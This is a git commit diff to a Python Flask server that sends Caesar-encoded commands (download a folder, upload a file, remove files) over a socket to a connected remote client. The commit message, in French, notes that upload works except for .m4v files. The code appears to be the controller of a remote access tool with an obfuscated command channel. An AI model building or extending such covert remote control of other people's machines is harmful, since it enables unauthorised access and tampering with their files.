upload marche

sauf avec les .m4v, jsp pourquoi. reste : remove directory
This commit is contained in:
2023-02-21 12:25:43 +01:00
parent 64efa1e861
commit b642bab69c
9 changed files with 85 additions and 10 deletions

View File

@@ -139,13 +139,9 @@ def recv_folder(client, path, addr, i) :
else :
recv_folder(client, path + "/" + f, addr, i + "\\" + f)
"""
#call download folder
client.send(CAESAR("download_dir\0").encode())
client.send(CAESAR(path + "\0").encode())
"""
def upload_file(fp, sock):
sock.send(fp.read())
app = Flask(__name__)
# Disable Flask's default logging
@@ -211,7 +207,15 @@ def interact() :
return 'no file selected'
print(f"{filename} --> {path_file_ex_2}")
client.send(CAESAR("upload_file\0").encode())
file_parts = filename.split('\\')
client.send(CAESAR(path_file_ex_2 + file_parts[len(file_parts)-1] + "\0").encode())
fp = open(filename, "rb")
upload_file(fp, client)
case "remove" :
for i in files :
path = path_file_ex_2 + i